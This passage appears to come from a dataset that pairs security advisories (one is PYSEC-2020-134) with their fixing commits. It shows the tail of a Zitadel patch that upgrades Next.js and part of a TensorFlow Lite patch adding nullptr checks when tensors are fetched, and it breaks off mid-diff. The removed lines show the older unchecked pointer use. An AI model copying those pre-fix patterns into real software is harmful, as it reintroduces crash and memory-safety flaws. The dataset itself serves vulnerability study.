+  token: string,
+  keysEndpoint: string,
+  options?: {
+    issuer?: string;
+    audience?: string;
+    instanceHost?: string;
+    publicHost?: string;
+  },
+): Promise<T & JWTPayload> {
+   const headers: Record<string, string> = {};
+   if (options?.instanceHost) {
+     headers["x-zitadel-instance-host"] = options.instanceHost;
+   }
+   if (options?.publicHost) {
+     headers["x-zitadel-public-host"] = options.publicHost;
+   }
+  const JWKS = createRemoteJWKSet(new URL(keysEndpoint), {headers: headers});
+
+  const { payload } = await jwtVerify(token, JWKS, {
+    issuer: options?.issuer,
+    audience: options?.audience,
+  });
+
+  return payload as T & JWTPayload;
+}
diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml
index 823ddbf7a68..c80444229b8 100644
--- a/pnpm-lock.yaml
+++ b/pnpm-lock.yaml
@@ -54,14 +54,14 @@ importers:
         specifier: ^2.29.4
         version: 2.30.1
       next:
-        specifier: 15.4.0-canary.86
-        version: 15.4.0-canary.86(@babel/core@7.28.4)(@playwright/test@1.55.0)(react-dom@19.1.0(react@19.1.0))(react@19.1.0)(sass@1.92.1)
+        specifier: 15.5.7
+        version: 15.5.7(@babel/core@7.28.4)(@playwright/test@1.55.0)(react-dom@19.1.0(react@19.1.0))(react@19.1.0)(sass@1.92.1)
       next-intl:
         specifier: ^3.25.1
-        version: 3.26.5(next@15.4.0-canary.86(@babel/core@7.28.4)(@playwright/test@1.55.0)(react-dom@19.1.0(react@19.1.0))(react@19.1.0)(sass@1.92.1))(react@19.1.0)
+        version: 3.26.5(next@15.5.7(@babel/core@7.28.4)(@playwright/test@1.55.0)(react-dom@19.1.0(react@19.1.0))(react@19.1.0)(sass@1.92.1))(react@19.1.0)
       next-themes:
         specifier: ^0.2.1
-        version: 0.2.1(next@15.4.0-canary.86(@babel/core@7.28.4)(@playwright/test@1.55.0)(react-dom@19.1.0(react@19.1.0))(react@19.1.0)(sass@1.92.1))(react-dom@19.1.0(react@19.1.0))(react@19.1.0)
+        version: 0.2.1(next@15.5.7(@babel/core@7.28.4)(@playwright/test@1.55.0)(react-dom@19.1.0(react@19.1.0))(react@19.1.0)(sass@1.92.1))(react-dom@19.1.0(react@19.1.0))(react@19.1.0)
       nice-grpc:
         specifier: 2.0.1
         version: 2.0.1
@@ -166,8 +166,8 @@ importers:
         specifier: ^8.57.0
         version: 8.57.1
       eslint-config-next:
-        specifier: 15.4.0-canary.86
-        version: 15.4.0-canary.86(eslint@8.57.1)(typescript@5.9.2)
+        specifier: 15.5.7
+        version: 15.5.7(eslint@8.57.1)(typescript@5.9.2)
       eslint-config-prettier:
         specifier: ^9.1.0
         version: 9.1.2(eslint@8.57.1)
@@ -3415,56 +3415,56 @@ packages:
     resolution: {integrity: sha512-kPTF5yemdmadP/+qMDcc3p10NkZKXHXGm2BCFvB192paCNxQrSJz+qb56SO+kvSn9exg+HvhGJ0gfIcVwPjzWw==}
     engines: {node: ^14.14.0 || >=16.0.0}
 
-  '@next/env@15.4.0-canary.86':
-    resolution: {integrity: sha512-WPrEvwqHnjeLx05ncJvqizbBJJFlQGRbxzOnL/pZWKzo19auM9x5Se87P27+E/D/d6jJS801l+thF85lfobAZQ==}
+  '@next/env@15.5.7':
+    resolution: {integrity: sha512-4h6Y2NyEkIEN7Z8YxkA27pq6zTkS09bUSYC0xjd0NpwFxjnIKeZEeH591o5WECSmjpUhLn3H2QLJcDye3Uzcvg==}
 
-  '@next/eslint-plugin-next@15.4.0-canary.86':
-    resolution: {integrity: sha512-cOlp6ajA1ptiBxiProcXaNAR88O5ck3IwGJr+A5SnNKU4iTUg4nP0K5lS4Mkage+LAMIQ8dImkLR53PpebXICA==}
+  '@next/eslint-plugin-next@15.5.7':
+    resolution: {integrity: sha512-DtRU2N7BkGr8r+pExfuWHwMEPX5SD57FeA6pxdgCHODo+b/UgIgjE+rgWKtJAbEbGhVZ2jtHn4g3wNhWFoNBQQ==}
 
-  '@next/swc-darwin-arm64@15.4.0-canary.86':
-    resolution: {integrity: sha512-1ofBmzjPkmoMdM+dXvybZ/Roq8HRo0sFzcwXk7/FJNOufuwyK+QKdSpLE7pHlPR7ZREqfEMj61ONO+gAK+zOJw==}
+  '@next/swc-darwin-arm64@15.5.7':
+    resolution: {integrity: sha512-IZwtxCEpI91HVU/rAUOOobWSZv4P2DeTtNaCdHqLcTJU4wdNXgAySvKa/qJCgR5m6KI8UsKDXtO2B31jcaw1Yw==}
     engines: {node: '>= 10'}
     cpu: [arm64]
     os: [darwin]
 
-  '@next/swc-darwin-x64@15.4.0-canary.86':
-    resolution: {integrity: sha512-WCKSrllvwzYi4TgrSdgxKSOF2nhieeaWWOeGucn0OXy50uOAamr0HwP5OaIBCx3oRar4w66gvs4IrdTdMedeJA==}
+  '@next/swc-darwin-x64@15.5.7':
+    resolution: {integrity: sha512-UP6CaDBcqaCBuiq/gfCEJw7sPEoX1aIjZHnBWN9v9qYHQdMKvCKcAVs4OX1vIjeE+tC5EIuwDTVIoXpUes29lg==}
     engines: {node: '>= 10'}
     cpu: [x64]
     os: [darwin]
 
-  '@next/swc-linux-arm64-gnu@15.4.0-canary.86':
-    resolution: {integrity: sha512-8qn7DJVNFjhEIDo2ts0YCsO7g+vJjPWh8Ur8lBK3XspeX0BPsF4s+YmgidrpzRXeIfoo2uYLkkXcy/57CVDblw==}
+  '@next/swc-linux-arm64-gnu@15.5.7':
+    resolution: {integrity: sha512-NCslw3GrNIw7OgmRBxHtdWFQYhexoUCq+0oS2ccjyYLtcn1SzGzeM54jpTFonIMUjNbHmpKpziXnpxhSWLcmBA==}
     engines: {node: '>= 10'}
     cpu: [arm64]
     os: [linux]
 
-  '@next/swc-linux-arm64-musl@15.4.0-canary.86':
-    resolution: {integrity: sha512-8MTn6N4Ja25neMLu2Bra1lqW9AWPqsYg0BVs5M/cxL0QkcN3mak/8LLX1vbzz7GigMGSA+NLwg+ol8lglfgIGA==}
+  '@next/swc-linux-arm64-musl@15.5.7':
+    resolution: {integrity: sha512-nfymt+SE5cvtTrG9u1wdoxBr9bVB7mtKTcj0ltRn6gkP/2Nu1zM5ei8rwP9qKQP0Y//umK+TtkKgNtfboBxRrw==}
     engines: {node: '>= 10'}
     cpu: [arm64]
     os: [linux]
 
-  '@next/swc-linux-x64-gnu@15.4.0-canary.86':
-    resolution: {integrity: sha512-hIhzDwWDQHnH0M0Pzaqs1c5fa4+LHiLLEBuPJQvhBxQfH+Eh86DWiWHDCaoNiURvdRPg6uCuF2MjwptrMplEkg==}
+  '@next/swc-linux-x64-gnu@15.5.7':
+    resolution: {integrity: sha512-hvXcZvCaaEbCZcVzcY7E1uXN9xWZfFvkNHwbe/n4OkRhFWrs1J1QV+4U1BN06tXLdaS4DazEGXwgqnu/VMcmqw==}
     engines: {node: '>= 10'}
     cpu: [x64]
     os: [linux]
 
-  '@next/swc-linux-x64-musl@15.4.0-canary.86':
-    resolution: {integrity: sha512-FG6SBuSeRWYMNu6tsfaZ4iDzv3BLxlpRncO2xvKKQPeUdDSQ0cehuHYnx8fRte8IOAJ3rlbRd6NXvrDarqu92Q==}
+  '@next/swc-linux-x64-musl@15.5.7':
+    resolution: {integrity: sha512-4IUO539b8FmF0odY6/SqANJdgwn1xs1GkPO5doZugwZ3ETF6JUdckk7RGmsfSf7ws8Qb2YB5It33mvNL/0acqA==}
     engines: {node: '>= 10'}
     cpu: [x64]
     os: [linux]
 
-  '@next/swc-win32-arm64-msvc@15.4.0-canary.86':
-    resolution: {integrity: sha512-3HvZo4VuyINrNYplRhvC8ILdKwi/vFDHOcTN/I4ru039TFpu2eO6VtXsLBdOdJjGslSSSBYkX+6yRrghihAZDA==}
+  '@next/swc-win32-arm64-msvc@15.5.7':
+    resolution: {integrity: sha512-CpJVTkYI3ZajQkC5vajM7/ApKJUOlm6uP4BknM3XKvJ7VXAvCqSjSLmM0LKdYzn6nBJVSjdclx8nYJSa3xlTgQ==}
     engines: {node: '>= 10'}
     cpu: [arm64]
     os: [win32]
 
-  '@next/swc-win32-x64-msvc@15.4.0-canary.86':
-    resolution: {integrity: sha512-UO9JzGGj7GhtSJFdI0Bl0dkIIBfgbhXLsgNVmq9Z/CsUsQB6J9RS/BMhsxfVwhO+RETk13nFpNutMAhAwcuD8w==}
+  '@next/swc-win32-x64-msvc@15.5.7':
+    resolution: {integrity: sha512-gMzgBX164I6DN+9/PGA+9dQiwmTkE4TloBNx8Kv9UiGARsr9Nba7IpcBRA1iTV9vwlYnrE3Uy6I7Aj6qLjQuqw==}
     engines: {node: '>= 10'}
     cpu: [x64]
     os: [win32]
@@ -7869,8 +7869,8 @@ packages:
     engines: {node: '>=6.0'}
     hasBin: true
 
-  eslint-config-next@15.4.0-canary.86:
-    resolution: {integrity: sha512-nMQzamY2GWhvScnfkfOVeq38tCt/TfyJyHMIzVYarpfyRj286Jk8ZkpgzQT8JtyeQ39kxTDZNBrB4CrWODYg4g==}
+  eslint-config-next@15.5.7:
+    resolution: {integrity: sha512-nU/TRGHHeG81NeLW5DeQT5t6BDUqbpsNQTvef1ld/tqHT+/zTx60/TIhKnmPISTTe++DVo+DLxDmk4rnwHaZVw==}
     peerDependencies:
       eslint: ^7.23.0 || ^8.0.0 || ^9.0.0
       typescript: '>=3.3.1'
@@ -10615,8 +10615,8 @@ packages:
       react: '*'
       react-dom: '*'
 
-  next@15.4.0-canary.86:
-    resolution: {integrity: sha512-lGeO0sOvPZ7oFIklqRA863YzRL1bW+kT/OqU3N6RBquHldiucZwnZKQceZdn6WcHEFmWIHzZV+SMG1JEK7hZLg==}
+  next@15.5.7:
+    resolution: {integrity: sha512-+t2/0jIJ48kUpGKkdlhgkv+zPTEOoXyr60qXe68eB/pl3CMJaLeIGjzp5D6Oqt25hCBiBTt8wEeeAzfJvUKnPQ==}
     engines: {node: ^18.18.0 || ^19.8.0 || >= 20.0.0}
     hasBin: true
     peerDependencies:
@@ -19427,34 +19427,34 @@ snapshots:
       read-pkg-up: 9.1.0
       semver: 7.7.2
 
-  '@next/env@15.4.0-canary.86': {}
+  '@next/env@15.5.7': {}
 
-  '@next/eslint-plugin-next@15.4.0-canary.86':
+  '@next/eslint-plugin-next@15.5.7':
     dependencies:
       fast-glob: 3.3.1
 
-  '@next/swc-darwin-arm64@15.4.0-canary.86':
+  '@next/swc-darwin-arm64@15.5.7':
     optional: true
 
-  '@next/swc-darwin-x64@15.4.0-canary.86':
+  '@next/swc-darwin-x64@15.5.7':
     optional: true
 
-  '@next/swc-linux-arm64-gnu@15.4.0-canary.86':
+  '@next/swc-linux-arm64-gnu@15.5.7':
     optional: true
 
-  '@next/swc-linux-arm64-musl@15.4.0-canary.86':
+  '@next/swc-linux-arm64-musl@15.5.7':
     optional: true
 
-  '@next/swc-linux-x64-gnu@15.4.0-canary.86':
+  '@next/swc-linux-x64-gnu@15.5.7':
     optional: true
 
-  '@next/swc-linux-x64-musl@15.4.0-canary.86':
+  '@next/swc-linux-x64-musl@15.5.7':
     optional: true
 
-  '@next/swc-win32-arm64-msvc@15.4.0-canary.86':
+  '@next/swc-win32-arm64-msvc@15.5.7':
     optional: true
 
-  '@next/swc-win32-x64-msvc@15.4.0-canary.86':
+  '@next/swc-win32-x64-msvc@15.5.7':
     optional: true
 
   '@ngtools/webpack@16.2.16(@angular/compiler-cli@16.2.12(@angular/compiler@16.2.12(@angular/core@16.2.12(rxjs@7.8.2)(zone.js@0.13.3)))(typescript@5.1.6))(typescript@5.1.6)(webpack@5.94.0(@swc/core@1.13.5(@swc/helpers@0.5.17))(esbuild@0.18.17))':
@@ -24513,9 +24513,9 @@ snapshots:
     optionalDependencies:
       source-map: 0.6.1
 
-  eslint-config-next@15.4.0-canary.86(eslint@8.57.1)(typescript@5.9.2):
+  eslint-config-next@15.5.7(eslint@8.57.1)(typescript@5.9.2):
     dependencies:
-      '@next/eslint-plugin-next': 15.4.0-canary.86
+      '@next/eslint-plugin-next': 15.5.7
       '@rushstack/eslint-patch': 1.12.0
       '@typescript-eslint/eslint-plugin': 8.43.0(@typescript-eslint/parser@8.43.0(eslint@8.57.1)(typescript@5.9.2))(eslint@8.57.1)(typescript@5.9.2)
       '@typescript-eslint/parser': 8.43.0(eslint@8.57.1)(typescript@5.9.2)
@@ -28371,23 +28371,23 @@ snapshots:
   netmask@2.0.2:
     optional: true
 
-  next-intl@3.26.5(next@15.4.0-canary.86(@babel/core@7.28.4)(@playwright/test@1.55.0)(react-dom@19.1.0(react@19.1.0))(react@19.1.0)(sass@1.92.1))(react@19.1.0):
+  next-intl@3.26.5(next@15.5.7(@babel/core@7.28.4)(@playwright/test@1.55.0)(react-dom@19.1.0(react@19.1.0))(react@19.1.0)(sass@1.92.1))(react@19.1.0):
     dependencies:
       '@formatjs/intl-localematcher': 0.5.10
       negotiator: 1.0.0
-      next: 15.4.0-canary.86(@babel/core@7.28.4)(@playwright/test@1.55.0)(react-dom@19.1.0(react@19.1.0))(react@19.1.0)(sass@1.92.1)
+      next: 15.5.7(@babel/core@7.28.4)(@playwright/test@1.55.0)(react-dom@19.1.0(react@19.1.0))(react@19.1.0)(sass@1.92.1)
       react: 19.1.0
       use-intl: 3.26.5(react@19.1.0)
 
-  next-themes@0.2.1(next@15.4.0-canary.86(@babel/core@7.28.4)(@playwright/test@1.55.0)(react-dom@19.1.0(react@19.1.0))(react@19.1.0)(sass@1.92.1))(react-dom@19.1.0(react@19.1.0))(react@19.1.0):
+  next-themes@0.2.1(next@15.5.7(@babel/core@7.28.4)(@playwright/test@1.55.0)(react-dom@19.1.0(react@19.1.0))(react@19.1.0)(sass@1.92.1))(react-dom@19.1.0(react@19.1.0))(react@19.1.0):
     dependencies:
-      next: 15.4.0-canary.86(@babel/core@7.28.4)(@playwright/test@1.55.0)(react-dom@19.1.0(react@19.1.0))(react@19.1.0)(sass@1.92.1)
+      next: 15.5.7(@babel/core@7.28.4)(@playwright/test@1.55.0)(react-dom@19.1.0(react@19.1.0))(react@19.1.0)(sass@1.92.1)
       react: 19.1.0
       react-dom: 19.1.0(react@19.1.0)
 
-  next@15.4.0-canary.86(@babel/core@7.28.4)(@playwright/test@1.55.0)(react-dom@19.1.0(react@19.1.0))(react@19.1.0)(sass@1.92.1):
+  next@15.5.7(@babel/core@7.28.4)(@playwright/test@1.55.0)(react-dom@19.1.0(react@19.1.0))(react@19.1.0)(sass@1.92.1):
     dependencies:
-      '@next/env': 15.4.0-canary.86
+      '@next/env': 15.5.7
       '@swc/helpers': 0.5.15
       caniuse-lite: 1.0.30001741
       postcss: 8.4.31
@@ -28395,14 +28395,14 @@ snapshots:
       react-dom: 19.1.0(react@19.1.0)
       styled-jsx: 5.1.6(@babel/core@7.28.4)(react@19.1.0)
     optionalDependencies:
-      '@next/swc-darwin-arm64': 15.4.0-canary.86
-      '@next/swc-darwin-x64': 15.4.0-canary.86
-      '@next/swc-linux-arm64-gnu': 15.4.0-canary.86
-      '@next/swc-linux-arm64-musl': 15.4.0-canary.86
-      '@next/swc-linux-x64-gnu': 15.4.0-canary.86
-      '@next/swc-linux-x64-musl': 15.4.0-canary.86
-      '@next/swc-win32-arm64-msvc': 15.4.0-canary.86
-      '@next/swc-win32-x64-msvc': 15.4.0-canary.86
+      '@next/swc-darwin-arm64': 15.5.7
+      '@next/swc-darwin-x64': 15.5.7
+      '@next/swc-linux-arm64-gnu': 15.5.7
+      '@next/swc-linux-arm64-musl': 15.5.7
+      '@next/swc-linux-x64-gnu': 15.5.7
+      '@next/swc-linux-x64-musl': 15.5.7
+      '@next/swc-win32-arm64-msvc': 15.5.7
+      '@next/swc-win32-x64-msvc': 15.5.7
       '@playwright/test': 1.55.0
       sass: 1.92.1
       sharp: 0.34.3", "url": "https://github.com/zitadel/zitadel/commit/4c879b47334e01d4fcab921ac1b44eda39acdb96.patch" } ]
null
PYSEC-2020-134
null
[ { "commit_message": "[PATCH] [tflite]: Insert `nullptr` checks when obtaining tensors. As part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages. We also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`). PiperOrigin-RevId: 332517854 Change-Id: Ic27221dd1f0fbe302f311c2fe5a846ed8ff02016 tensorflow/lite/delegates/delegate_test.cc | 48 ++++-- .../delegates/gpu/common/model_builder.cc | 8 +- .../coreml/builders/convolution_op_builder.cc | 4 +- .../builders/fully_connected_op_builder.cc | 9 +- .../coreml/builders/pad_op_builder.cc | 3 +- .../coreml/builders/reshape_op_builder.cc | 3 +- .../kernels/ctc_beam_search_decoder.cc | 49 ++++-- .../kernels/unidirectional_sequence_gru.cc | 76 ++++++--- .../microfrontend/audio_microfrontend.cc | 14 +- tensorflow/lite/interpreter_test.cc | 60 +++++--- .../src/test/native/interpreter_test_jni.cc | 12 +- .../lite/kernels/hashtable/hashtable.cc | 11 +- .../lite/kernels/hashtable/hashtable_find.cc | 35 +++-- .../kernels/hashtable/hashtable_import.cc | 26 +++- .../lite/kernels/hashtable/hashtable_size.cc | 19 ++- tensorflow/lite/kernels/kernel_util.cc | 145 +++++++++++++++--- tensorflow/lite/kernels/kernel_util.h | 93 +++++++---- .../lite/profiling/profile_summarizer_test.cc | 12 +- .../calibration/builtin_logging_ops/lstm.cc | 84 +++++++--- 19 files changed, 515 insertions(+), 196 deletions(-)", "patch_text_b64": "From e11f55585f614645b360563072ffeb5c3eeff162 Mon Sep 17 00:00:00 2001
From: Mihai Maruseac <mihaimaruseac@google.com>
Date: Fri, 18 Sep 2020 13:38:44 -0700
Subject: [PATCH] [tflite]: Insert `nullptr` checks when obtaining tensors.

As part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages.

We also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`).

PiperOrigin-RevId: 332517854
Change-Id: Ic27221dd1f0fbe302f311c2fe5a846ed8ff02016
---
 tensorflow/lite/delegates/delegate_test.cc    |  48 ++++--
 .../delegates/gpu/common/model_builder.cc     |   8 +-
 .../coreml/builders/convolution_op_builder.cc |   4 +-
 .../builders/fully_connected_op_builder.cc    |   9 +-
 .../coreml/builders/pad_op_builder.cc         |   3 +-
 .../coreml/builders/reshape_op_builder.cc     |   3 +-
 .../kernels/ctc_beam_search_decoder.cc        |  49 ++++--
 .../kernels/unidirectional_sequence_gru.cc    |  76 ++++++---
 .../microfrontend/audio_microfrontend.cc      |  14 +-
 tensorflow/lite/interpreter_test.cc           |  60 +++++---
 .../src/test/native/interpreter_test_jni.cc   |  12 +-
 .../lite/kernels/hashtable/hashtable.cc       |  11 +-
 .../lite/kernels/hashtable/hashtable_find.cc  |  35 +++--
 .../kernels/hashtable/hashtable_import.cc     |  26 +++-
 .../lite/kernels/hashtable/hashtable_size.cc  |  19 ++-
 tensorflow/lite/kernels/kernel_util.cc        | 145 +++++++++++++++---
 tensorflow/lite/kernels/kernel_util.h         |  93 +++++++----
 .../lite/profiling/profile_summarizer_test.cc |  12 +-
 .../calibration/builtin_logging_ops/lstm.cc   |  84 +++++++---
 19 files changed, 515 insertions(+), 196 deletions(-)

diff --git a/tensorflow/lite/delegates/delegate_test.cc b/tensorflow/lite/delegates/delegate_test.cc
index aac44b0ff51674..c5a31374887e68 100644
--- a/tensorflow/lite/delegates/delegate_test.cc
+++ b/tensorflow/lite/delegates/delegate_test.cc
@@ -42,9 +42,12 @@ TfLiteRegistration AddOpRegistration() {
 
   reg.prepare = [](TfLiteContext* context, TfLiteNode* node) {
     // Set output size to input size
-    const TfLiteTensor* input1 = GetInput(context, node, 0);
-    const TfLiteTensor* input2 = GetInput(context, node, 1);
-    TfLiteTensor* output = GetOutput(context, node, 0);
+    const TfLiteTensor* input1;
+    TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input1));
+    const TfLiteTensor* input2;
+    TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 1, &input2));
+    TfLiteTensor* output;
+    TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
 
     TF_LITE_ENSURE_EQ(context, input1->dims->size, input2->dims->size);
     for (int i = 0; i < input1->dims->size; ++i) {
@@ -58,13 +61,16 @@ TfLiteRegistration AddOpRegistration() {
 
   reg.invoke = [](TfLiteContext* context, TfLiteNode* node) {
     // Copy input data to output data.
-    const TfLiteTensor* a0 = GetInput(context, node, 0);
+    const TfLiteTensor* a0;
+    TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &a0));
     TF_LITE_ENSURE(context, a0);
     TF_LITE_ENSURE(context, a0->data.f);
-    const TfLiteTensor* a1 = GetInput(context, node, 1);
+    const TfLiteTensor* a1;
+    TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 1, &a1));
     TF_LITE_ENSURE(context, a1);
     TF_LITE_ENSURE(context, a1->data.f);
-    TfLiteTensor* out = GetOutput(context, node, 0);
+    TfLiteTensor* out;
+    TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &out));
     TF_LITE_ENSURE(context, out);
     TF_LITE_ENSURE(context, out->data.f);
     int num = a0->dims->data[0];
@@ -267,7 +273,8 @@ class TestDelegate : public ::testing::Test {
             a0 = GetInput(context, node, 0);
             a1 = a0;
           }
-          TfLiteTensor* out = GetOutput(context, node, 0);
+          TfLiteTensor* out;
+          TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &out));
           int num = 1;
           for (int i = 0; i < a0->dims->size; ++i) {
             num *= a0->dims->data[i];
@@ -289,8 +296,10 @@ class TestDelegate : public ::testing::Test {
         reg.prepare = [](TfLiteContext* context, TfLiteNode* node) {
           // Shapes should already by propagated by the runtime, just need to
           // check.
-          const TfLiteTensor* input1 = GetInput(context, node, 0);
-          TfLiteTensor* output = GetOutput(context, node, 0);
+          const TfLiteTensor* input1;
+          TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input1));
+          TfLiteTensor* output;
+          TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
           const int input_dims_size = input1->dims->size;
           TF_LITE_ENSURE(context, output->dims->size == input_dims_size);
           for (int i = 0; i < input_dims_size; ++i) {
@@ -315,7 +324,8 @@ class TestDelegate : public ::testing::Test {
             input1 = GetInput(context, node, 0);
             input2 = input1;
           }
-          TfLiteTensor* output = GetOutput(context, node, 0);
+          TfLiteTensor* output;
+          TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
 
           TF_LITE_ENSURE_STATUS(context->ResizeTensor(
               context, output, TfLiteIntArrayCopy(input1->dims)));
@@ -1169,11 +1179,14 @@ class TestDelegateWithDynamicTensors : public ::testing::Test {
 
     reg.prepare = [](TfLiteContext* context, TfLiteNode* node) {
       // Output 0 is dynamic
-      TfLiteTensor* output0 = GetOutput(context, node, 0);
+      TfLiteTensor* output0;
+      TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output0));
       SetTensorToDynamic(output0);
       // Output 1 has the same shape as input.
-      const TfLiteTensor* input = GetInput(context, node, 0);
-      TfLiteTensor* output1 = GetOutput(context, node, 1);
+      const TfLiteTensor* input;
+      TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));
+      TfLiteTensor* output1;
+      TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 1, &output1));
       TF_LITE_ENSURE_STATUS(context->ResizeTensor(
           context, output1, TfLiteIntArrayCopy(input->dims)));
       return kTfLiteOk;
@@ -1193,11 +1206,14 @@ class TestDelegateWithDynamicTensors : public ::testing::Test {
       // If tensors are resized, the runtime should propagate shapes
       // automatically if correct flag is set. Ensure values are correct.
       // Output 0 should be dynamic.
-      TfLiteTensor* output0 = GetOutput(context, node, 0);
+      TfLiteTensor* output0;
+      TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output0));
       TF_LITE_ENSURE(context, IsDynamicTensor(output0));
       // Output 1 has the same shape as input.
-      const TfLiteTensor* input = GetInput(context, node, 0);
-      TfLiteTensor* output1 = GetOutput(context, node, 1);
+      const TfLiteTensor* input;
+      TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));
+      TfLiteTensor* output1;
+      TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 1, &output1));
       TF_LITE_ENSURE(context, input->dims->size == output1->dims->size);
       TF_LITE_ENSURE(context, input->dims->data[0] == output1->dims->data[0]);
       return kTfLiteOk;
diff --git a/tensorflow/lite/delegates/gpu/common/model_builder.cc b/tensorflow/lite/delegates/gpu/common/model_builder.cc
index 9a394f8f6c5a6b..e56afa30497245 100644
--- a/tensorflow/lite/delegates/gpu/common/model_builder.cc
+++ b/tensorflow/lite/delegates/gpu/common/model_builder.cc
@@ -1166,6 +1166,9 @@ class MulOperationParser : public TFLiteOperationParser {
     }
     auto input0 = tflite::GetInput(context, tflite_node, 0);
     auto input1 = tflite::GetInput(context, tflite_node, 1);
+    if (input0 == nullptr || input1 == nullptr) {
+      return absl::InvalidArgumentError("At least one input tensor is null");
+    }
     if (input0->dims->size == input1->dims->size) {
       // this code checks that at least one input of Mul not smaller in all
       // dimensions. Sometimes Mul used for matrix-vector multiplication that we
@@ -1380,7 +1383,10 @@ class PadOperationParser : public TFLiteOperationParser {
     RETURN_IF_ERROR(CheckInputsOutputs(context, tflite_node,
                                        /*runtime_inputs=*/1, /*outputs=*/1));
     RETURN_IF_ERROR(CheckTensorIsAvailable(context, tflite_node, 1));
-    auto pad_tensor = tflite::GetInput(context, tflite_node, 1);
+    const TfLiteTensor* pad_tensor = tflite::GetInput(context, tflite_node, 1);
+    if (pad_tensor == nullptr) {
+      return absl::InvalidArgumentError("Padding tensor was null");
+    }
     if (pad_tensor->dims->size != 2) {
       return absl::InvalidArgumentError(absl::StrCat(
           "Invalid paddings tensor dimension: expected 2 dim, got ",
diff --git a/tensorflow/lite/experimental/delegates/coreml/builders/convolution_op_builder.cc b/tensorflow/lite/experimental/delegates/coreml/builders/convolution_op_builder.cc
index 8dbc18722f1259..e6c3f892c3bd24 100644
--- a/tensorflow/lite/experimental/delegates/coreml/builders/convolution_op_builder.cc
+++ b/tensorflow/lite/experimental/delegates/coreml/builders/convolution_op_builder.cc
@@ -328,7 +328,9 @@ bool IsConvolutionOpSupported(const TfLiteRegistration* registration,
   const int kOutputShapeTensor = 0;  // Only used for TransposeConv
   const int kWeightTensor = 1;
   const int kBiasTensor = 2;  // Only used for non-TransposeConv
-  const TfLiteTensor* weights = GetInput(context, node, kWeightTensor);
+  const TfLiteTensor* weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kWeightTensor, &weights));
   const int max_kernel_size = 16384;
   if (!IsConstantTensor(weights)) {
     return false;
diff --git a/tensorflow/lite/experimental/delegates/coreml/builders/fully_connected_op_builder.cc b/tensorflow/lite/experimental/delegates/coreml/builders/fully_connected_op_builder.cc
index 376830922c9be8..4179ed0445e779 100644
--- a/tensorflow/lite/experimental/delegates/coreml/builders/fully_connected_op_builder.cc
+++ b/tensorflow/lite/experimental/delegates/coreml/builders/fully_connected_op_builder.cc
@@ -153,8 +153,10 @@ bool IsFullyConnectedOpSupported(const TfLiteRegistration* registration,
   if (fc_params->weights_format != kTfLiteFullyConnectedWeightsFormatDefault) {
     return false;
   }
-  const TfLiteTensor* input = GetInput(context, node, kInput);
-  const TfLiteTensor* weights = GetInput(context, node, kWeights);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInput, &input));
+  const TfLiteTensor* weights;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kWeights, &weights));
 
   if (!IsFloatType(input->type)) {
     return false;
@@ -169,7 +171,8 @@ bool IsFullyConnectedOpSupported(const TfLiteRegistration* registration,
   }
 
   if (node->inputs->size > 2) {
-    const TfLiteTensor* bias = GetInput(context, node, kBias);
+    const TfLiteTensor* bias;
+    TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kBias, &bias));
     if (!IsFloatType(bias->type) || !IsConstantTensor(bias)) {
       return false;
     }
diff --git a/tensorflow/lite/experimental/delegates/coreml/builders/pad_op_builder.cc b/tensorflow/lite/experimental/delegates/coreml/builders/pad_op_builder.cc
index d8ef4f61ddbfd1..36c50d816dfd73 100644
--- a/tensorflow/lite/experimental/delegates/coreml/builders/pad_op_builder.cc
+++ b/tensorflow/lite/experimental/delegates/coreml/builders/pad_op_builder.cc
@@ -97,7 +97,8 @@ OpBuilder* CreateMirrorPadOpBuilder(GraphBuilder* graph_builder) {
 bool IsPadOpSupported(const TfLiteRegistration* registration,
                       const TfLiteNode* node, TfLiteContext* context) {
   // padding is d x 2 tensor, where d is the dimension of input.
-  const TfLiteTensor* padding = GetInput(context, node, 1);
+  const TfLiteTensor* padding;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 1, &padding));
   if (!IsConstantTensor(padding)) {
     TF_LITE_KERNEL_LOG(context,
                        "%s: Only constant padding is supported for PAD.",
diff --git a/tensorflow/lite/experimental/delegates/coreml/builders/reshape_op_builder.cc b/tensorflow/lite/experimental/delegates/coreml/builders/reshape_op_builder.cc
index b7b78653d36057..39b15e9349a467 100644
--- a/tensorflow/lite/experimental/delegates/coreml/builders/reshape_op_builder.cc
+++ b/tensorflow/lite/experimental/delegates/coreml/builders/reshape_op_builder.cc
